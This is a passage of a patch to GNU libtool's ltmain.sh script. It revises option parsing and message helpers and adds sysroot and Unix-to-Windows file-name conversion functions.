++# characters, hashes, percent signs, but SUFFIX may contain a leading
++# dot (in which case that matches only a dot).
++# func_strip_suffix prefix name
++func_stripname ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname may be replaced by extended shell implementation
+
+-# Generated shell functions inserted here.
+
+ # These SED scripts presuppose an absolute path with a trailing slash.
+ pathcar='s,^/\([^/]*\).*$,\1,'
+@@ -376,6 +406,15 @@ sed_quote_subst='s/\([`"$\\]\)/\\\1/g'
+ # Same as above, but do not quote variable references.
+ double_quote_subst='s/\(["`\\]\)/\\\1/g'
+
++# Sed substitution that turns a string into a regex matching for the
++# string literally.
++sed_make_literal_regex='s,[].[^$\\*\/],\\&,g'
++
++# Sed substitution that converts a w32 file name or path
++# which contains forward slashes, into one that contains
++# (escaped) backslashes. A very naive implementation.
++lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
++
+ # Re-`\' parameter expansions in output of double_quote_subst that were
+ # `\'-ed in input to the same. If an odd number of `\' preceded a '$'
+ # in input to double_quote_subst, that '$' was protected from expansion.
+@@ -404,7 +443,7 @@ opt_warning=:
+ # name if it has been set yet.
+ func_echo ()
+ {
+- $ECHO "$progname${mode+: }$mode: $*"
++ $ECHO "$progname: ${opt_mode+$opt_mode: }$*"
+ }
+
+ # func_verbose arg...
+@@ -430,14 +469,14 @@ func_echo_all ()
+ # Echo program name prefixed message to standard error.
+ func_error ()
+ {
+- $ECHO "$progname${mode+: }$mode: "${1+"$@"} 1>&2
++ $ECHO "$progname: ${opt_mode+$opt_mode: }"${1+"$@"} 1>&2
+ }
+
+ # func_warning arg...
+ # Echo program name prefixed warning message to standard error.
+ func_warning ()
+ {
+- $opt_warning && $ECHO "$progname${mode+: }$mode: warning: "${1+"$@"} 1>&2
++ $opt_warning && $ECHO "$progname: ${opt_mode+$opt_mode: }warning: "${1+"$@"} 1>&2
+
+ # bash bug again:
+ :
+@@ -656,19 +695,35 @@ func_show_eval_locale ()
+ fi
+ }
+
+-
+-
++# func_tr_sh
++# Turn $1 into a string suitable for a shell variable name.
++# Result is stored in $func_tr_sh_result. All characters
++# not in the set a-zA-Z0-9_ are replaced with '_'. Further,
++# if $1 begins with a digit, a '_' is prepended as well.
++func_tr_sh ()
++{
++ case $1 in
++ [0-9]* | *[!a-zA-Z0-9_]*)
++ func_tr_sh_result=`$ECHO "$1" | $SED 's/^\([0-9]\)/_\1/; s/[^a-zA-Z0-9_]/_/g'`
++ ;;
++ * )
++ func_tr_sh_result=$1
++ ;;
++ esac
++}
+
+
+ # func_version
+ # Echo version message to standard output and exit.
+ func_version ()
+ {
++ $opt_debug
++
+ $SED -n '/(C)/!b go
+ :more
+ /\./!{
+ N
+- s/\n# //
++ s/\n# / /
+ b more
+ }
+ :go
+@@ -685,7 +740,9 @@ func_version ()
+ # Echo short help message to standard output and exit.
+ func_usage ()
+ {
+- $SED -n '/^# Usage:/,/^# *-h/ {
++ $opt_debug
++
++ $SED -n '/^# Usage:/,/^# *.*--help/ {
+ s/^# //
+ s/^# *$//
+ s/\$progname/'$progname'/
+@@ -701,7 +758,10 @@ func_usage ()
+ # unless 'noexit' is passed as argument.
+ func_help ()
+ {
++ $opt_debug
++
+ $SED -n '/^# Usage:/,/# Report bugs to/ {
++ :print
+ s/^# //
+ s/^# *$//
+ s*\$progname*'$progname'*
+@@ -714,7 +774,11 @@ func_help ()
+ s/\$automake_version/'"`(automake --version) 2>/dev/null |$SED 1q`"'/
+ s/\$autoconf_version/'"`(autoconf --version) 2>/dev/null |$SED 1q`"'/
+ p
+- }' < "$progpath"
++ d
++ }
++ /^# .* home page:/b print
++ /^# General help using/b print
++ ' < "$progpath"
+ ret=$?
+ if test -z "$1"; then
+ exit $ret
+@@ -726,12 +790,39 @@ func_help ()
+ # exit_cmd.
+ func_missing_arg ()
+ {
+- func_error "missing argument for $1"
++ $opt_debug
++
++ func_error "missing argument for $1."
+ exit_cmd=exit
+ }
+
+-exit_cmd=:
+
++# func_split_short_opt shortopt
++# Set func_split_short_opt_name and func_split_short_opt_arg shell
++# variables after splitting SHORTOPT after the 2nd character.
++func_split_short_opt ()
++{
++ my_sed_short_opt='1s/^\(..\).*$/\1/;q'
++ my_sed_short_rest='1s/^..\(.*\)$/\1/;q'
++
++ func_split_short_opt_name=`$ECHO "$1" | $SED "$my_sed_short_opt"`
++ func_split_short_opt_arg=`$ECHO "$1" | $SED "$my_sed_short_rest"`
++} # func_split_short_opt may be replaced by extended shell implementation
++
++
++# func_split_long_opt longopt
++# Set func_split_long_opt_name and func_split_long_opt_arg shell
++# variables after splitting LONGOPT at the `=' sign.
++func_split_long_opt ()
++{
++ my_sed_long_opt='1s/^\(--[^=]*\)=.*/\1/;q'
++ my_sed_long_arg='1s/^--[^=]*=//'
++
++ func_split_long_opt_name=`$ECHO "$1" | $SED "$my_sed_long_opt"`
++ func_split_long_opt_arg=`$ECHO "$1" | $SED "$my_sed_long_arg"`
++} # func_split_long_opt may be replaced by extended shell implementation
++
++exit_cmd=:
+
+
+
+@@ -741,26 +832,64 @@ magic="%%%MAGIC variable%%%"
+ magic_exe="%%%MAGIC EXE variable%%%"
+
+ # Global variables.
+-# $mode is unset
+ nonopt=
+-execute_dlfiles=
+ preserve_args=
+ lo2o="s/\\.lo\$/.${objext}/"
+ o2lo="s/\\.${objext}\$/.lo/"
+ extracted_archives=
+ extracted_serial=0
+
+-opt_dry_run=false
+-opt_finish=:
+-opt_duplicate_deps=false
+-opt_silent=false
+-opt_debug=:
+-
+ # If this variable is set in any of the actions, the command in it
+ # will be execed at the end. This prevents here-documents from being
+ # left over by shells.
+ exec_cmd=
+
++# func_append var value
++# Append VALUE to the end of shell variable VAR.
++func_append ()
++{
++ eval "${1}=\$${1}\${2}"
++} # func_append may be replaced by extended shell implementation
++
++# func_append_quoted var value
++# Quote VALUE and append to the end of shell variable VAR, separated
++# by a space.
++func_append_quoted ()
++{
++ func_quote_for_eval "${2}"
++ eval "${1}=\$${1}\\ \$func_quote_for_eval_result"
++} # func_append_quoted may be replaced by extended shell implementation
++
++
++# func_arith arithmetic-term...
++func_arith ()
++{
++ func_arith_result=`expr "${@}"`
++} # func_arith may be replaced by extended shell implementation
++
++
++# func_len string
++# STRING may not start with a hyphen.
++func_len ()
++{
++ func_len_result=`expr "${1}" : ".*" 2>/dev/null || echo $max_cmd_len`
++} # func_len may be replaced by extended shell implementation
++
++
++# func_lo2o object
++func_lo2o ()
++{
++ func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
++} # func_lo2o may be replaced by extended shell implementation
++
++
++# func_xform libobj-or-source
++func_xform ()
++{
++ func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
++} # func_xform may be replaced by extended shell implementation
++
++
+ # func_fatal_configuration arg...
+ # Echo program name prefixed message to standard error, followed by
+ # a configuration failure hint, and exit.
+@@ -850,130 +979,204 @@ func_enable_tag ()
+ esac
+ }
+
+-# Parse options once, thoroughly. This comes as soon as possible in
+-# the script to make things like `libtool --version' happen quickly.
++# func_check_version_match
++# Ensure that we are using m4 macros, and libtool script from the same
++# release of libtool.
++func_check_version_match ()
+ {
++ if test "$package_revision" != "$macro_revision"; then
++ if test "$VERSION" != "$macro_version"; then
++ if test -z "$macro_version"; then
++ cat >&2 <<_LT_EOF
++$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
++$progname: definition of this LT_INIT comes from an older release.
++$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
++$progname: and run autoconf again.
++_LT_EOF
++ else
++ cat >&2 <<_LT_EOF
++$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
++$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
++$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
++$progname: and run autoconf again.
++_LT_EOF
++ fi
++ else
++ cat >&2 <<_LT_EOF
++$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
++$progname: but the definition of this LT_INIT comes from revision $macro_revision.
++$progname: You should recreate aclocal.m4 with macros from revision $package_revision
++$progname: of $PACKAGE $VERSION and run autoconf again.
++_LT_EOF
++ fi
+
+- # Shorthand for --mode=foo, only valid as the first argument
+- case $1 in
+- clean|clea|cle|cl)
+- shift; set dummy --mode clean ${1+"$@"}; shift
+- ;;
+- compile|compil|compi|comp|com|co|c)
+- shift; set dummy --mode compile ${1+"$@"}; shift
+- ;;
+- execute|execut|execu|exec|exe|ex|e)
+- shift; set dummy --mode execute ${1+"$@"}; shift
+- ;;
+- finish|finis|fini|fin|fi|f)
+- shift; set dummy --mode finish ${1+"$@"}; shift
+- ;;
+- install|instal|insta|inst|ins|in|i)
+- shift; set dummy --mode install ${1+"$@"}; shift
+- ;;
+- link|lin|li|l)
+- shift; set dummy --mode link ${1+"$@"}; shift
+- ;;
+- uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
+- shift; set dummy --mode uninstall ${1+"$@"}; shift
+- ;;
+- esac
++ exit $EXIT_MISMATCH
++ fi
++}
++
++
++# Shorthand for --mode=foo, only valid as the first argument
++case $1 in
++clean|clea|cle|cl)
++ shift; set dummy --mode clean ${1+"$@"}; shift
++ ;;
++compile|compil|compi|comp|com|co|c)
++ shift; set dummy --mode compile ${1+"$@"}; shift
++ ;;
++execute|execut|execu|exec|exe|ex|e)
++ shift; set dummy --mode execute ${1+"$@"}; shift
++ ;;
++finish|finis|fini|fin|fi|f)
++ shift; set dummy --mode finish ${1+"$@"}; shift
++ ;;
++install|instal|insta|inst|ins|in|i)
++ shift; set dummy --mode install ${1+"$@"}; shift
++ ;;
++link|lin|li|l)
++ shift; set dummy --mode link ${1+"$@"}; shift
++ ;;
++uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
++ shift; set dummy --mode uninstall ${1+"$@"}; shift
++ ;;
++esac
+
+- # Parse non-mode specific arguments:
+- while test "$#" -gt 0; do
++
++
++# Option defaults:
++opt_debug=:
++opt_dry_run=false
++opt_config=false
++opt_preserve_dup_deps=false
++opt_features=false
++opt_finish=false
++opt_help=false
++opt_help_all=false
++opt_silent=:
++opt_verbose=:
++opt_silent=false
++opt_verbose=false
++
++
++# Parse options once, thoroughly. This comes as soon as possible in the
++# script to make things like `--version' happen as quickly as we can.
++{
++ # this just eases exit handling
++ while test $# -gt 0; do
+ opt="$1"
+ shift
+-
+ case $opt in
+- --config) func_config ;;
+-
+- --debug) preserve_args="$preserve_args $opt"
++ --debug|-x) opt_debug='set -x'
+ func_echo "enabling shell trace mode"
+- opt_debug='set -x'
+ $opt_debug
+ ;;
+-
+- -dlopen) test "$#" -eq 0 && func_missing_arg "$opt" && break
+- execute_dlfiles="$execute_dlfiles $1"
+- shift
++ --dry-run|--dryrun|-n)
++ opt_dry_run=:
+ ;;
+-
+- --dry-run | -n) opt_dry_run=: ;;
+- --features) func_features ;;
+- --finish) mode="finish" ;;
+- --no-finish) opt_finish=false ;;
+-
+- --mode) test "$#" -eq 0 && func_missing_arg "$opt" && break
+- case $1 in
+- # Valid mode arguments:
+- clean) ;;
+- compile) ;;
+- execute) ;;
+- finish) ;;
+- install) ;;
+- link) ;;
+- relink) ;;
+- uninstall) ;;
+-
+- # Catch anything else as an error
+- *) func_error "invalid argument for $opt"
+- exit_cmd=exit
+- break
+- ;;
+- esac
+-
+- mode="$1"
++ --config)
++ opt_config=:
++func_config
++ ;;
++ --dlopen|-dlopen)
++ optarg="$1"
++ opt_dlopen="${opt_dlopen+$opt_dlopen
++}$optarg"
+ shift
+ ;;
+-
+ --preserve-dup-deps)
+- opt_duplicate_deps=: ;;
+-
+- --quiet|--silent) preserve_args="$preserve_args $opt"
+- opt_silent=:
+- opt_verbose=false
++ opt_preserve_dup_deps=:
+ ;;
+-
+- --no-quiet|--no-silent)
+- preserve_args="$preserve_args $opt"
+- opt_silent=false
++ --features)
++ opt_features=:
++func_features
+ ;;
+-
+- --verbose| -v) preserve_args="$preserve_args $opt"
++ --finish)
++ opt_finish=:
++set dummy --mode finish ${1+"$@"}; shift
++ ;;
++ --help)
++ opt_help=:
++ ;;
++ --help-all)
++ opt_help_all=:
++opt_help=': help-all'
++ ;;
++ --mode)
++ test $# = 0 && func_missing_arg $opt && break
++ optarg="$1"
++ opt_mode="$optarg"
++case $optarg in
++ # Valid mode arguments:
++ clean|compile|execute|finish|install|link|relink|uninstall) ;;
++
++ # Catch anything else as an error
++ *) func_error "invalid argument for $opt"
++ exit_cmd=exit
++ break
++ ;;
++esac
++ shift
++ ;;
++ --no-silent|--no-quiet)
+ opt_silent=false
+- opt_verbose=:
++func_append preserve_args " $opt"
+ ;;
+-
+- --no-verbose) preserve_args="$preserve_args $opt"
++ --no-verbose)
+ opt_verbose=false
++func_append preserve_args " $opt"
+ ;;
+-
+- --tag) test "$#" -eq 0 && func_missing_arg "$opt" && break
+- preserve_args="$preserve_args $opt $1"
+- func_enable_tag "$1" # tagname is set here
++ --silent|--quiet)
++ opt_silent=:
++func_append preserve_args " $opt"
++ opt_verbose=false
++ ;;
++ --verbose|-v)
++ opt_verbose=:
++func_append preserve_args " $opt"
++opt_silent=false
++ ;;
++ --tag)
++ test $# = 0 && func_missing_arg $opt && break
++ optarg="$1"
++ opt_tag="$optarg"
++func_append preserve_args " $opt $optarg"
++func_enable_tag "$optarg"
+ shift
+ ;;
+
++ -\?|-h) func_usage ;;
++ --help) func_help ;;
++ --version) func_version ;;
++
+ # Separate optargs to long options:
+- -dlopen=*|--mode=*|--tag=*)
+- func_opt_split "$opt"
+- set dummy "$func_opt_split_opt" "$func_opt_split_arg" ${1+"$@"}
++ --*=*)
++ func_split_long_opt "$opt"
++ set dummy "$func_split_long_opt_name" "$func_split_long_opt_arg" ${1+"$@"}
+ shift
+ ;;
+
+- -\?|-h) func_usage ;;
+- --help) opt_help=: ;;
+- --help-all) opt_help=': help-all' ;;
+- --version) func_version ;;
+-
+- -*) func_fatal_help "unrecognized option \`$opt'" ;;
+-
+- *) nonopt="$opt"
+- break
++ # Separate non-argument short options:
++ -\?*|-h*|-n*|-v*)
++ func_split_short_opt "$opt"
++ set dummy "$func_split_short_opt_name" "-$func_split_short_opt_arg" ${1+"$@"}
++ shift
+ ;;
++
++ --) break ;;
++ -*) func_fatal_help "unrecognized option \`$opt'" ;;
++ *) set dummy "$opt" ${1+"$@"}; shift; break ;;
+ esac
+ done
+
++ # Validate options:
++
++ # save first non-option argument
++ if test "$#" -gt 0; then
++ nonopt="$opt"
++ shift
++ fi
++
++ # preserve --debug
++ test "$opt_debug" = : || func_append preserve_args " --debug"
+
+ case $host in
+ *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* )
+@@ -981,82 +1184,44 @@ func_enable_tag ()
+ opt_duplicate_compiler_generated_deps=:
+ ;;
+ *)
+- opt_duplicate_compiler_generated_deps=$opt_duplicate_deps
++ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
+ ;;
+ esac
+
+- # Having warned about all mis-specified options, bail out if
+- # anything was wrong.
+- $exit_cmd $EXIT_FAILURE
+-}
++ $opt_help || {
++ # Sanity checks first:
++ func_check_version_match
+
+-# func_check_version_match
+-# Ensure that we are using m4 macros, and libtool script from the same
+-# release of libtool.
+-func_check_version_match ()
+-{
+- if test "$package_revision" != "$macro_revision"; then
+- if test "$VERSION" != "$macro_version"; then
+- if test -z "$macro_version"; then
+- cat >&2 <<_LT_EOF
+-$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
+-$progname: definition of this LT_INIT comes from an older release.
+-$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
+-$progname: and run autoconf again.
+-_LT_EOF
+- else
+- cat >&2 <<_LT_EOF
+-$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
+-$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
+-$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
+-$progname: and run autoconf again.
+-_LT_EOF
+- fi
+- else
+- cat >&2 <<_LT_EOF
+-$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
+-$progname: but the definition of this LT_INIT comes from revision $macro_revision.
+-$progname: You should recreate aclocal.m4 with macros from revision $package_revision
+-$progname: of $PACKAGE $VERSION and run autoconf again.
+-_LT_EOF
++ if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
++ func_fatal_configuration "not configured to build any kind of library"
+ fi
+
+- exit $EXIT_MISMATCH
+- fi
+-}
+-
++ # Darwin sucks
++ eval std_shrext=\"$shrext_cmds\"
+
+-## ----------- ##
+-## Main. ##
+-## ----------- ##
+-
+-$opt_help || {
+- # Sanity checks first:
+- func_check_version_match
+-
+- if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
+- func_fatal_configuration "not configured to build any kind of library"
+- fi
++ # Only execute mode is allowed to have -dlopen flags.
++ if test -n "$opt_dlopen" && test "$opt_mode" != execute; then
++ func_error "unrecognized option \`-dlopen'"
++ $ECHO "$help" 1>&2
++ exit $EXIT_FAILURE
++ fi
+
+- test -z "$mode" && func_fatal_error "error: you must specify a MODE."
++ # Change the help message to a mode-specific one.
++ generic_help="$help"
++ help="Try \`$progname --help --mode=$opt_mode' for more information."
++ }
+
+
+- # Darwin sucks
+- eval "std_shrext=\"$shrext_cmds\""
++ # Bail if the options were screwed
++ $exit_cmd $EXIT_FAILURE
++}
+
+
+- # Only execute mode is allowed to have -dlopen flags.
+- if test -n "$execute_dlfiles" && test "$mode" != execute; then
+- func_error "unrecognized option \`-dlopen'"
+- $ECHO "$help" 1>&2
+- exit $EXIT_FAILURE
+- fi
+
+- # Change the help message to a mode-specific one.
+- generic_help="$help"
+- help="Try \`$progname --help --mode=$mode' for more information."
+-}
+
++## ----------- ##
++## Main. ##
++## ----------- ##
+
+ # func_lalib_p file
+ # True iff FILE is a libtool `.la' library or `.lo' object file.
+@@ -1121,12 +1286,9 @@ func_ltwrapper_executable_p ()
+ # temporary ltwrapper_script.
+ func_ltwrapper_scriptname ()
+ {
+- func_ltwrapper_scriptname_result=""
+- if func_ltwrapper_executable_p "$1"; then
+- func_dirname_and_basename "$1" "" "."
+- func_stripname '' '.exe' "$func_basename_result"
+- func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
+- fi
++ func_dirname_and_basename "$1" "" "."
++ func_stripname '' '.exe' "$func_basename_result"
++ func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
+ }
+
+ # func_ltwrapper_p file
+@@ -1149,7 +1311,7 @@ func_execute_cmds ()
+ save_ifs=$IFS; IFS='~'
+ for cmd in $1; do
+ IFS=$save_ifs
+- eval "cmd=\"$cmd\""
++ eval cmd=\"$cmd\"
+ func_show_eval "$cmd" "${2-:}"
+ done
+ IFS=$save_ifs
+@@ -1172,6 +1334,37 @@ func_source ()
+ }
+
+
++# func_resolve_sysroot PATH
++# Replace a leading = in PATH with a sysroot. Store the result into
++# func_resolve_sysroot_result
++func_resolve_sysroot ()
++{
++ func_resolve_sysroot_result=$1
++ case $func_resolve_sysroot_result in
++ =*)
++ func_stripname '=' '' "$func_resolve_sysroot_result"
++ func_resolve_sysroot_result=$lt_sysroot$func_stripname_result
++ ;;
++ esac
++}
++
++# func_replace_sysroot PATH
++# If PATH begins with the sysroot, replace it with = and
++# store the result into func_replace_sysroot_result.
++func_replace_sysroot ()
++{
++ case "$lt_sysroot:$1" in
++ ?*:"$lt_sysroot"*)
++ func_stripname "$lt_sysroot" '' "$1"
++ func_replace_sysroot_result="=$func_stripname_result"
++ ;;
++ *)
++ # Including no sysroot.
++ func_replace_sysroot_result=$1
++ ;;
++ esac
++}
++
+ # func_infer_tag arg
+ # Infer tagged configuration to use if any are available and
+ # if one wasn't chosen via the "--tag" command line option.
+@@ -1184,8 +1377,7 @@ func_infer_tag ()
+ if test -n "$available_tags" && test -z "$tagname"; then
+ CC_quoted=
+ for arg in $CC; do
+- func_quote_for_eval "$arg"
+- CC_quoted="$CC_quoted $func_quote_for_eval_result"
++ func_append_quoted CC_quoted "$arg"
+ done
+ CC_expanded=`func_echo_all $CC`
+ CC_quoted_expanded=`func_echo_all $CC_quoted`
+@@ -1204,8 +1396,7 @@ func_infer_tag ()
+ CC_quoted=
+ for arg in $CC; do
+ # Double-quote args containing other shell metacharacters.
+- func_quote_for_eval "$arg"
+- CC_quoted="$CC_quoted $func_quote_for_eval_result"
++ func_append_quoted CC_quoted "$arg"
+ done
+ CC_expanded=`func_echo_all $CC`
+ CC_quoted_expanded=`func_echo_all $CC_quoted`
+@@ -1274,6 +1465,486 @@ EOF
+ }
+ }
+
++
++##################################################
++# FILE NAME AND PATH CONVERSION HELPER FUNCTIONS #
++##################################################
++
++# func_convert_core_file_wine_to_w32 ARG
++# Helper function used by file name conversion functions when $build is *nix,
++# and $host is mingw, cygwin, or some other w32 environment. Relies on a
++# correctly configured wine environment available, with the winepath program
++# in $build's $PATH.
++#
++# ARG is the $build file name to be converted to w32 format.
++# Result is available in $func_convert_core_file_wine_to_w32_result, and will
++# be empty on error (or when ARG is empty)
++func_convert_core_file_wine_to_w32 ()
++{
++ $opt_debug
++ func_convert_core_file_wine_to_w32_result="$1"
++ if test -n "$1"; then
++ # Unfortunately, winepath does not exit with a non-zero error code, so we
++ # are forced to check the contents of stdout. On the other hand, if the
++ # command is not found, the shell will set an exit code of 127 and print
++ # *an error message* to stdout. So we must check for both error code of
++ # zero AND non-empty stdout, which explains the odd construction:
++ func_convert_core_file_wine_to_w32_tmp=`winepath -w "$1" 2>/dev/null`
++ if test "$?" -eq 0 && test -n "${func_convert_core_file_wine_to_w32_tmp}"; then
++ func_convert_core_file_wine_to_w32_result=`$ECHO "$func_convert_core_file_wine_to_w32_tmp" |
++ $SED -e "$lt_sed_naive_backslashify"`
++ else
++ func_convert_core_file_wine_to_w32_result=
++ fi
++ fi
++}
++# end: func_convert_core_file_wine_to_w32
++
++
++# func_convert_core_path_wine_to_w32 ARG
++# Helper function used by path conversion functions when $build is *nix, and
++# $host is mingw, cygwin, or some other w32 environment. Relies on a correctly
++# configured wine environment available, with the winepath program in $build's
++# $PATH. Assumes ARG has no leading or trailing path separator characters.
++#
++# ARG is path to be converted from $build format to win32.
++# Result is available in $func_convert_core_path_wine_to_w32_result.
++# Unconvertible file (directory) names in ARG are skipped; if no directory names
++# are convertible, then the result may be empty.
++func_convert_core_path_wine_to_w32 ()
++{
++ $opt_debug
++ # unfortunately, winepath doesn't convert paths, only file names
++ func_convert_core_path_wine_to_w32_result=""
++ if test -n "$1"; then
++ oldIFS=$IFS
++ IFS=:
++ for func_convert_core_path_wine_to_w32_f in $1; do
++ IFS=$oldIFS
++ func_convert_core_file_wine_to_w32 "$func_convert_core_path_wine_to_w32_f"
++ if test -n "$func_convert_core_file_wine_to_w32_result" ; then
++ if test -z "$func_convert_core_path_wine_to_w32_result"; then
++ func_convert_core_path_wine_to_w32_result="$func_convert_core_file_wine_to_w32_result"
++ else
++ func_append func_convert_core_path_wine_to_w32_result ";$func_convert_core_file_wine_to_w32_result"
++ fi
++ fi
++ done
++ IFS=$oldIFS
++ fi
++}
++# end: func_convert_core_path_wine_to_w32
++
++
++# func_cygpath ARGS...
++# Wrapper around calling the cygpath program via LT_CYGPATH. This is used when
++# when (1) $build is *nix and Cygwin is hosted via a wine environment; or (2)
++# $build is MSYS and $host is Cygwin, or (3) $build is Cygwin. In case (1) or
++# (2), returns the Cygwin file name or path in func_cygpath_result (input
++# file name or path is assumed to be in w32 format, as previously converted
++# from $build's *nix or MSYS format). In case (3), returns the w32 file name
++# or path in func_cygpath_result (input file name or path is assumed to be in
++# Cygwin format). Returns an empty string on error.
++#
++# ARGS are passed to cygpath, with the last one being the file name or path to
++# be converted.
++#
++# Specify the absolute *nix (or w32) name to cygpath in the LT_CYGPATH
++# environment variable; do not put it in $PATH.
++func_cygpath ()
++{
++ $opt_debug
++ if test -n "$LT_CYGPATH" && test -f "$LT_CYGPATH"; then
++ func_cygpath_result=`$LT_CYGPATH "$@" 2>/dev/null`
++ if test "$?" -ne 0; then
++ # on failure, ensure result is empty
++ func_cygpath_result=
++ fi
++ else
++ func_cygpath_result=
++ func_error "LT_CYGPATH is empty or specifies non-existent file: \`$LT_CYGPATH'"
++ fi
++}
++#end: func_cygpath
++
++
++# func_convert_core_msys_to_w32 ARG
++# Convert file name or path ARG from MSYS format to w32 format. Return
++# result in func_convert_core_msys_to_w32_result.
++func_convert_core_msys_to_w32 ()
++{
++ $opt_debug
++ # awkward: cmd appends spaces to result
++ func_convert_core_msys_to_w32_result=`( cmd //c echo "$1" ) 2>/dev/null |
++ $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
++}
++#end: func_convert_core_msys_to_w32
++
++
++# func_convert_file_check ARG1 ARG2
++# Verify that ARG1 (a file name in $build format) was converted to $host
++# format in ARG2. Otherwise, emit an error message, but continue (resetting
++# func_to_host_file_result to ARG1).
++func_convert_file_check ()
++{
++ $opt_debug
++ if test -z "$2" && test -n "$1" ; then
++ func_error "Could not determine host file name corresponding to"
++ func_error " \`$1'"
++ func_error "Continuing, but uninstalled executables may not work."
++ # Fallback:
++ func_to_host_file_result="$1"
++ fi
++}
++# end func_convert_file_check
++
++
++# func_convert_path_check FROM_PATHSEP TO_PATHSEP FROM_PATH TO_PATH
++# Verify that FROM_PATH (a path in $build format) was converted to $host
++# format in TO_PATH. Otherwise, emit an error message, but continue, resetting
++# func_to_host_file_result to a simplistic fallback value (see below).
++func_convert_path_check ()
++{
++ $opt_debug
++ if test -z "$4" && test -n "$3"; then
++ func_error "Could not determine the host path corresponding to"
++ func_error " \`$3'"
++ func_error "Continuing, but uninstalled executables may not work."
++ # Fallback. This is a deliberately simplistic "conversion" and
++ # should not be "improved". See libtool.info.
++ if test "x$1" != "x$2"; then
++ lt_replace_pathsep_chars="s|$1|$2|g"
++ func_to_host_path_result=`echo "$3" |
++ $SED -e "$lt_replace_pathsep_chars"`
++ else
++ func_to_host_path_result="$3"
++ fi
++ fi
++}
++# end func_convert_path_check
++
++
++# func_convert_path_front_back_pathsep FRONTPAT BACKPAT REPL ORIG
++# Modifies func_to_host_path_result by prepending REPL if ORIG matches FRONTPAT
++# and appending REPL if ORIG matches BACKPAT.
++func_convert_path_front_back_pathsep ()
++{
++ $opt_debug
++ case $4 in
++ $1 ) func_to_host_path_result="$3$func_to_host_path_result"
++ ;;
++ esac
++ case $4 in
++ $2 ) func_append func_to_host_path_result "$3"
++ ;;
++ esac
++}
++# end func_convert_path_front_back_pathsep
++
++
++##################################################
++# $build to $host FILE NAME CONVERSION FUNCTIONS #
++##################################################
++# invoked via `$to_host_file_cmd ARG'
++#
++# In each case, ARG is the path to be converted from $build to $host format.
++# Result will be available in $func_to_host_file_result.
++
++
++# func_to_host_file ARG
++# Converts the file name ARG from $build format to $host format. Return result
++# in func_to_host_file_result.
++func_to_host_file ()
++{
++ $opt_debug
++ $to_host_file_cmd "$1"
++}
++# end func_to_host_file
++
++
++# func_to_tool_file ARG LAZY
++# converts the file name ARG from $build format to toolchain format. Return
++# result in func_to_tool_file_result. If the conversion in use is listed
++# in (the comma separated) LAZY, no conversion takes place.
++func_to_tool_file ()
++{
++ $opt_debug
++ case ,$2, in
++ *,"$to_tool_file_cmd",*)
++ func_to_tool_file_result=$1
++ ;;
++ *)
++ $to_tool_file_cmd "$1"
++ func_to_tool_file_result=$func_to_host_file_result
++ ;;
++ esac
++}
++# end func_to_tool_file
++
++
++# func_convert_file_noop ARG
++# Copy ARG to func_to_host_file_result.
++func_convert_file_noop ()
++{
++ func_to_host_file_result="$1"
++}
++# end func_convert_file_noop
++
++
++# func_convert_file_msys_to_w32 ARG
++# Convert file name ARG from (mingw) MSYS to (mingw) w32 format; automatic
++# conversion to w32 is not available inside the cwrapper. Returns result in
++# func_to_host_file_result.
++func_convert_file_msys_to_w32 ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ func_convert_core_msys_to_w32 "$1"
++ func_to_host_file_result="$func_convert_core_msys_to_w32_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_msys_to_w32
++
++
++# func_convert_file_cygwin_to_w32 ARG
++# Convert file name ARG from Cygwin to w32 format. Returns result in
++# func_to_host_file_result.
++func_convert_file_cygwin_to_w32 ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ # because $build is cygwin, we call "the" cygpath in $PATH; no need to use
++ # LT_CYGPATH in this case.
++ func_to_host_file_result=`cygpath -m "$1"`
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_cygwin_to_w32
++
++
++# func_convert_file_nix_to_w32 ARG
++# Convert file name ARG from *nix to w32 format. Requires a wine environment
++# and a working winepath. Returns result in func_to_host_file_result.
++func_convert_file_nix_to_w32 ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ func_convert_core_file_wine_to_w32 "$1"
++ func_to_host_file_result="$func_convert_core_file_wine_to_w32_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_nix_to_w32
++
++
++# func_convert_file_msys_to_cygwin ARG
++# Convert file name ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
++# Returns result in func_to_host_file_result.
++func_convert_file_msys_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ func_convert_core_msys_to_w32 "$1"
